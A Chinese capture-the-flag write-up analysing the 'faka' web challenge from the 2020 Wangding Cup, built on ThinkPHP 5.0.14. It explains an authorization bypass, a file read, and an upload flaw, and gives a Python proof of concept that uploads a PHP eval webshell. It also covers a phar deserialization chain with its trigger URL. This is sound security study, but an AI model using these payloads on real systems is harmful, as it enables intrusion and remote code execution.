深入剖析网鼎杯web_faka

robots

 

2020网鼎杯半决赛的一道web题,网上大部分WP都没有给出这道题越权的挖掘视角,这里给出我的一种分析角度,还提供了另外一种最近在很多比赛也经常见到的phar反序列化的解法,写得不好,还请大佬们批评指正

0x01 越权漏洞

分析一下权限验证机制出现的问题.

访问manage/Article/ 会自动跳转到admin/login 说明存在鉴权机制的
然后先找了一下数据库,看一下有没有和权限绑定的一些表,发现是有的,
system_auth_node这个表里面,显然这些节点访问都需要auth为3的操作,看下面的system_user表也可以知道只有超级管理员的auth权限为3,

然后再看下system_node这个表, 也可以看出来is_auth为1的节点都是需要权限验证的, is_login为1 的节点都是需要登录才能访问的. 这样直接看一下admin模块有哪些控制器/方法的is_auth为0 或者甚至不在这个表就可以尝试一下越权等操作

调试一下manage/Article/这个路由,直接全局搜索invokeArgs下断点, 直接run发现报错,是权限验证未通过,发现是一个类似HOOK的函数存在权限验证机制

直接跟到这个文件看一看,主要就是run方法,发现这个web应用就是根据数据库的那两个表来鉴权的, 挖越权直接对着控制器找表即可.

下面分析一下为什么admin/index/info方法是越权的, 因为数据库里面有两个特殊的值是admin, 按照开发者所写代码理解的,这样应该确保admin模块下的都会被鉴权,但是为什么会被绕过?

仔细看下鉴权代码: 看下面这三行就明白了.

$this->request = Request::instance();
list($module, $controller, $action) = [
    $this->request->module(), 
    $this->request->controller(), 
    $this->request->action()
];
$node = strtolower("{$module}/{$controller}/{$action}");
$info = Db::name('SystemNode')->where('node', $node)->find();

$node值不会出现admin的情况的 ,因为存在默认值的填充, 访问/ $node的值也是index/index/index, 所以数据库里所有不是xxx/xxx/xxx格式的节点全都是无效的..,所以就可以越权添加用户

仔细分析下_form方法就明白为什么可以添加高权限用户量,就不仔细分析了

 

0x02 任意文件读取

/application/manage/controller/Backup.phpdownloadBak方法, 但是需要管理员权限才能利用

 

0x03 文件上传

application/admin/controller/Plugs.phpupload方法, 这段代码有一个奇怪的点是最后保存的文件名和检测的文件名没什么关系.

还要注意一下$token$md5,
session_id()返回空,token=md5($filename);
$md5要够长

poc:

# -*- coding: utf-8 -*-
import requests
url='http://4ab2a4e7-10a0-4278-b40d-102103ee845d.node3.buuoj.cn/admin/plugs/upload'
headers={
    'Cookie':'menu-style=full; s7466e88d=6af28adcb2f1da4cf54c31212ded61e5'
}

f = b'''GIF98a
<?php eval($_POST[cmd]);?>
'''
file = {'file': ('test.png',f)}

res = requests.post(url=url,headers=headers,files=file,data={'md5':'aaaaaaaaaaaaaaaabbb1.php','token':'e8e97db6ca719f45927d7b3223ea9182'})
print(res)

上传文件后访问/static/upload/aaaaaaaaaaaaaaaa/bbb1.php 即可

 

0x04 phar反序列化

后来看到别的师傅wp这个框架是tp5.0.14版本开发的, 恰好这个版本有一条pop链,框架里面又有不少上传点,所以考虑能不能利用phar触发反序列化. 在本地复现成功了,但是题目没有打通 ) :

pop链: https://github.com/L0nm4r/MyyPOP/tree/master/thinkphp/5.0.14

pop1只能在Linux下使用, pop2无这个限制

文件上传 : , 普通用户前台就有一个,后台就更多了

phar: 触发phar的点还是比较好找的,全局搜索找file_get_contents就可以了, 在application/wechat/controller/Review.phpimg()方法

具体利用:

生成phar文件 : 直接利用的pop2的. 这里有一个坑点是文件/目录权限和相对路径/绝对路径的问题

我用相对路径没有成功写文件,但是绝对路径成功了. 可能buu的环境存在目录权限问题导致没有写成功 : (

稍微修改一下pop链就好:

然后重命名为phar.gif

文件上传

前台的上传点, 1.txt有邀请码, 注册一个普通用户就好

F12找路径.

phar反序列化触发: 访问 /wechat/Review/img?url=phar://./static/upload/60bb6f1ef3d43/60bb6f1ef3d95.gif

getShell

因为写入的文件是

<?cuc
//000000000000
 rkvg();?>
f:51:"<?php eval($_POST["cmd"]);?><trgNgge>netf</trgNgge>";

所以需要关闭短标签这个shell才生效,否则会报错退出!

再次温习p牛的博客 https://www.leavesongs.com/PENETRATION/php-filter-magic.html

访问/static/upload/ce83778115195eec0b229a3beab940c9.php

 

0x05 总结

对于最后一个思路, Nepnep的比赛有类似题解, https://blog.csdn.net/rfrder/article/details/115105786

三周之前就做到了这道题,现在才做完,

虽然踩了一天的坑 , 但不枉我学了两周tp开发, 调试框架终于有点感觉了

之后两周就要准备期末了,这道题就当这一段时间的总结了.

(完)